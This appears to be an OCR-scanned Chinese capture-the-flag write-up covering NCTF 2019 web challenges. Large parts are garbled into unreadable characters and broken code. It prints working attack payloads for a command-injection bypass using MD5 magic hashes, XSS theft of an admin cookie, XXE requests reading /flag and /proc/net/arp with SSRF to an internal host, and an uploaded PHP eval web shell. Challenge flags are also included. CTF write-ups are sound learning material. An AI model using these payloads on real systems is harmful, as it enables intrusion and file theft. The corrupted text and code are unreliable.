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<?php
error_reporting(9);
highlight file(_ file );
$_GET[ 15
$_GET[ 15
1

preg_match(

if(is_numeric($string 1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string 2);
if($md5_1 $md5_2){

$a strtr($md5_1,
$b strtr($md5_2,
if(%a $b){

echo
)i
else{

die(

$query = $ SERVER[
if (strlen($cmd) 8){
die( )

s
if( substr_count($query, ) substr_count($query,
$arr explode( , $cmd);
if($arr[o] $arr[o] ){
if(substr_count($cmd, ) 0){
system($cmd);
)i
else{
die(




ENMEFEBE=RGE, BRTZEH . 1st num FIETEER23333, AREE num IBERFEHIICE num H2I%TF23333 (IEENFRZER
BRI Z A bqwq), XA BHEEAE B %ea BATSEIE . ZEGETIERES, KURLKISQLIENREFEF %0A 73Fa, %o0A RIRATHRF, fEmysql
A BLIEE T . T UERPHP3REA num=23333%0A == 23333 42id ! 2ndH M FEHIMASE R 2L, X B is_numeric HLif 5
RREH A ST . TWAFTIF R BN mds(2120624)==md5 (240610708) ,55id ! 3rd BA » FHEHKIgetNEES _ KIFLE, {HRiEMILRA
q_wW_q, XAERERMBEKRHAAZELSGT.

® FR£ | php.net/manual/zh/language.variables.external.php

Downloads Documentation Getlinvolved Help

$_REQUEST #] import_request_variables().

Note:
BLBYEHM s rost M $ cer , B PHP41.0EFTH.

Note:
TR S NSHRIEERE TRE ) FI0 <input name="a.b" /> ZM T S_REQUEST["a_b"],

W0 EFRR, 7E PHP 4.2.0 287 register_globals BOERAER on, PHP # EXBRARAEKRIULLIES, BIVEREBHE
EHR off.

BTRXAMFWT, FrUlE#EWEpayload: 2num=23333%0A&str1=240610708&str2=2120624&8q w g=ca\t * (PS:cat¥Ekali_bc\at
or ca\t #Z R ABATHI, BRANM24T), 52Iflag:NCTF{t3is_So_siiimpppllleeee_to_u}

e 0x02 simple XSS

YLSETEXSSHIREH LN, HRA TERAHK, FEETMEXMEET UXSSIEF L, HEREFEEMTH, XA Eadminik
PREmE T, BEREEMadminKcookied N, #EIFFE)E, Madminki%XSS payload, B#[EFE ] T adminffjcookie

0 = 2019-11-23 19:42:08  « location : http://139.129.76.6 « HTTP_REFERER : http://[13  #li%

5:40001/home.php 9.129.76.65:40001/home.ph
« toplocation : http://139.129.7 p
6.65:40001/home.php « HTTP_USER_AGENT : Mo

+ cookie : PHPSESSID=s8od zilla/5.0 (Unknown; Linux x8
12f6cjefecOlh96damanag4; u 6_64) AppleWebKit/538.1 (K
ser=c6b93fa075336a55dc2 HTML, like Gecko) Phantom

ab6da03569e0b JS/2.1.1 Safari/538.1
+ REMOTE_ADDR : 115.29.6
5.26

FIFHadminiik /' fficookie B Nt 22 J5, SR HIBEH R—ANFEElagM L, 23333, Mi%E ¥ EERZREEAS TS Bladmink
FHicookie.

e 0X03 Fake XML cookbook
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function doLogin(){
var username = $( ).val();
var password = $( ).val();

if(username password ){

alert(

return;

1
J

var data username password
$.ajax({

type:

url:

contentType:

data: data,

dataType:

anysc: false,

success: function (result) {

var code result.getElementsByTagName( )[@].childNodes[@].nodeValue;
var msg result.getElementsByTagName( )[@].childNodes[@].nodeValue;
if(code )
$( ).text(msg );
}else if(code
$( ). text(msg
}else{
$( ). text(

1
J

¥

error: function (XMLHttpRequest,textStatus,errorThrown) f{
$( ).text (errorThrown textStatu);




I THATXMLANR S #3478 E, ARJEburpdT IHE KA E &

POST fdelegin. php HITPE/1.1

Host: nctf2019.=xlct34m. com: 40002

Content-Length: 64

Accept: application/zml, text/zml, #*/%; g=0.01
Origin: http://nctf2019. xlct34m. com: 40002
¥-Fequested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4:; =64) AppleWebEit/537.36
(EHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/zml;charset=UTF-8

Referer: http://nctf2019.x1ct34m. com: 40002/
Accept-Language: zh-CN, zh;g=0.9,en;q=0. 8

Comnection: close

<userr<username>123123</username><password>123</password: </ user>

3 H BT IR R iflag i 7E Mlag B B #: i payload:

POST /doLogin. php HTTP/1.1

Host: nctf2019, xlet3dm. com: 40002

Content—Length: 141

Accept: application/zml, text/zml, */%; g=0.01
Origin: http://nctf2019, xlct34m. com: 40002
¥-Requested-With: XMLHttpRequest

User—&gent: Mozilla/5.0 (Windews NT 10.0; WinfG4; =64) AppleWebKit/537.36
(KHTML., like Gecko) Chrome/77.0.3865.90 Safari/537. 36
Content—Type: application/zml;charset=UTF-8

Referer: http://metf2019.x1ct34m. com: 40002/
Accept—Language: zh—CN. zh;g=0. 9, en;g=0. 8

Comnection: close

<?zml wversien="1.0"7>

<!DOCTYPE foo [<!ENTITY zxe SYSTEM "file:///flag” >1-
<userr<usernamerfxze; < username’<password>123</password: < user>

e 0X04 True XML cookbook

L

LS

HITP/1.1 200 OK

Date: Tue, 26 Nowv 2019 0G:38:27 GMT
Server: Apache/Z2.4.38 (Debian)
X-Powered-Byv: PHPF/7. 4. (RCGE
Content—Length: 48

Comnection: close

Content-Type: text/html; charset=utf-8

<resultr><code>0</coder<msg>123123</msg></result>

HITP/1.1 200 QK

Date: Tue. 26 Now 2019 06:50:15 GMNT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/T. 4. 0RCE
Content—-Length: &8

Commection: close

Content-Type: text/html; charset=utf-8

<resultr<coder0</coder<nsg *NCTF {W31cOm3_TO_NCTF_9
102} </msg></result>


http://nctf2019.x1ct34m.com:40003/

BRFEA LR, AdEE R UAAXMLFEZHET,

. & ZlletclpasswdH-TCH KA T,
(2% 3% HFreebuff): XMLSZ{A i
HARFFAXXERBIFZIEN M,

BRARBRAICER LIRERE, BEFREHAHKIK

XANRHMERATEBIXXERH E —MFIH TR, XXE&SSRF. B XXXEMSSRFHIAHFK L &

JBE 5 24h— FLinux R /proc/net/arp KIFI&Y\. Linuxflwindows#l e fEdosIf % F&EF

arp. ZE8EE:: Linux/proc/inet/ 304 & BT L EEburpiMB G EF W MIP,

POST /doLogin. php HITP/1.1 A
Host: nctf2019.xlct3dm. com: 40003 r
Content—-Length: 151

becept: applicatien/zml, text/=ml, */%; g=0.01

Origin: http://nctf2019. x1ct34m. com: 40003
X-Requested-With: EMLHttpRequest

User—4gent: Mozilla/5.0 (Windows NT 10.0; Winf4d; xG64)
AppleWebKit,/537.36 (KHIML, like Gecko) Chrome/77.0.3865.90
Safari/537. 36

Content—Type: application/zml;charset=UTF-8

Referer: http://mectf2019.x1lct34m. com: 40003/
Accept—Language: zh-CH, zh;g=0.9, en;g=0. 8

Commection: close

<?xml wversien="1.0"7>

<!DOCTYPE foo [<!ENTITY xme SYSTEM "file:///proc/netfarp” >1>
<userr<usernamer&xxe; S username’<password-fzxe ;< password</use
T

e
¥

earch term 0 matches

AR SRR MARTER, A RIE S %
BR—ANCERINMIPKIL192.168.1.8 171 F K E A —#E,

E¥-Powered-By: PHP/7. 4. ORCE

'y
Vary: Accept—-Encoding
Content-Length: 2200
Comnection: close
Content-Type: text/html; charset=utf-8
<resultr<code>0</code><nsg>IP address HW twvpe
Flags HW address Mask Device
192, 168. 1. B6 0x1 0x0
00: 00: 00: 00: 00: 00 * ethl
192, 168.1.94 0xl 0x0
00:00:00:00:00: 00 & ethl
192.168.1. 8 0x1 0x2
02:42: c0:a8: 01: 08 & ethl J
192. 168.1. 85 0x1 0x0
00:00:00:00:00: 00 * etho
192, 168.1. 93 0x1 0x0
00:00: 00: 00: 00: 00 * ethO
192, 168.1. 7 0x1 0x0
00: 00: 00: 00: 00: 00 * ethl
192, 168.1. 96 0xl 0x0
00:00:00:00:00: 00 & ethl
192. 168. 1. 88 0x1 0x0
00:00:00:00:00: 00 & ethl
192.168.1.2 0x1 0x0
00:00:00:00:00: 00 * eth
192, 168.1. 10 0x1 0x0
00:00: 00: 00: 00: 00 * ethO
192, 168. 1. BT 0x1 0x0 -
00:00:00:00: 00: 00 etho %
U D u Type a search term 0 matches

2,420 bytes | 20 millis

ZEB AT, 10T N BHALKE, RIFET AMPEAYEE—FE—NNM, HABupi#
BEXAE#Fbase64, payload:

POST /doLogin. php HTTP/1.1

Host: netf2019.xlct34m. com: 40003

Content-Length: 193

Accept: application/zml, text/=ml, #*/%:. o=0.01

Origin: http://metf2019. xlct3dm. com: 40003
X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: x=64)
4ppleWebKit/537. 36 (KHTML, like Gecko) Chrome/77.0.3865.90
Safari/537. 36

Content-Type: application/zml;charset=UTF-8

Referer: http: //mctf2019.x1ct34m. com: 40003/
Accept—Language: zh-CN, zh:;q=0.9,en.q=0.8
Comnection: close

<?xml version="1.0"7>

<!DOCTYPE foo [<!ENTITY =xe SYSTEM

“php: //filter/read=convert. basefd-encode/resource=http: //192. 16
8.1.8" »]»

<users<usernamerfxze </ username’<password:</password:< user>

fi#5% J5 18 2Iflag:NCTF{XXE-labs_is_g00d}

e 0x05 Upload your Shell

L

HTTP/1.1 200 OK

Date: Tue, 26 Now 2019 07:24:14 GMT
Server: Apache/2.4.38 (Debian)
X—Powered-By: PHP/7. 4. ORCH

Vary: Accept-Encoding
Content—Length: T4
Comnnection: close
Content-Type: text/html; charset=utf-8
<result><coder0</code><msg> TKNURnt YWEUtbGFic19pc19nMDEkfQ-
={fmsgr<fresult>
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—HERIARDEFOTE, &E WK AR, DEREE BRI L.

Upload imgs
ity to upload your favorate imgs!

Upload

BRI ESrnsaEel

Submit

/iblog.csdn.neticrispr

EAZY, BERELERERTET . KURG AR, 9, Nl WfEaiE, ER EREMTEET, REIXT %00
W ARRT), MINERBIGE R IIFRRT), Mt —NMFaERBFIN, BRAGEHFREA. - .

A alertth R EIFE<? incontents!, BIffRE@EIE A WSFEAEF<?, XEBARE T B, MixgM LPHP—A)E, 3 HARE
H < LA, FrblpayloadfRBHE, F <script language="php">@eval($_POST[ 'hacker']);</scirpt> HEfT4e0t, EREBH
WEANHI <2, BERAHR—AE .

. image/apng, #/*;g=0. &, application/signed-exchange ;v=h3 ' <titlerUpload vour imgs</title> A
Referer: P n
http: //nctf2019. xlct34m. com: 60002/ index. phpfaction=imgs. html {I— C88 —>
ALecept-Language: zh-CH.zh:g=0.9,en;q=0.8 <link href="css/bootstrap.min. css” rel="stylesheet”>
Comnection: close <link href="css/form. css” rel="stylesheet”>
<link href="css/style.css” rel="stylesheet”>
—————— WebKitFormBoundaryzx(BwAHSFUyaubPC <link href="css/animate.css” rel="stylesheet”>
Content-Disposition: form-data; name="file”; filename="2. jpg” <link href="css/generics.css” rel="stylesheet”>
Content—Type: image/jpeg <fhead>
~ <hody id="skin-blur-viclate”>
JEIF ok [
<hl*Success' </hl><hl:filepath: fvar/wiw/html/upload-imgs/3
cc?eTabdb847e2092eTh2e9aa02952h4/ This_is_a_fl4g. jpegi/hl> B
I <!—— Javascript Libraries —>
I— jQuery ——>
% # . <seript sre="js/jquerv.min. js"r<fscript> <f-— jQuery
EAED] —0={0% ()¢ C Library —->
«!=— Bootstrap ——>
<script src="js/bootstrap.min. js"></script>
S pW <seript
language="php" *@eval (§_POST[ pass’ 1) ;< script> I-—— Form Related —>
—————— WebEitForuBoundaryax0BwAHLP UyauhPC <script src="js/icheck. js" < script> </—— Custom
Content-Disposition: form—data; name="submit” Checkbox + Radio —*
Submit <!—— AIl J§ functions —>
—————— WebKitFormBoundaryxx(BwAHSPUyaubPC— <seript sre="js/functions. js" </ script>
<fbody>
r/ </htul>
| ¥
? uJ [LJ [iJ Type a search term 0 matches uJ < [LJ uJ Type a search term 0 matches
Done 1,550 bytes | 20 miliis

FEEurlF A action= A ZRphp:/filterthill, KRME%L, K5 EEENagtbtiitE, sdtiflagT. - BERERREZHET . .

o RIEEFFLL...
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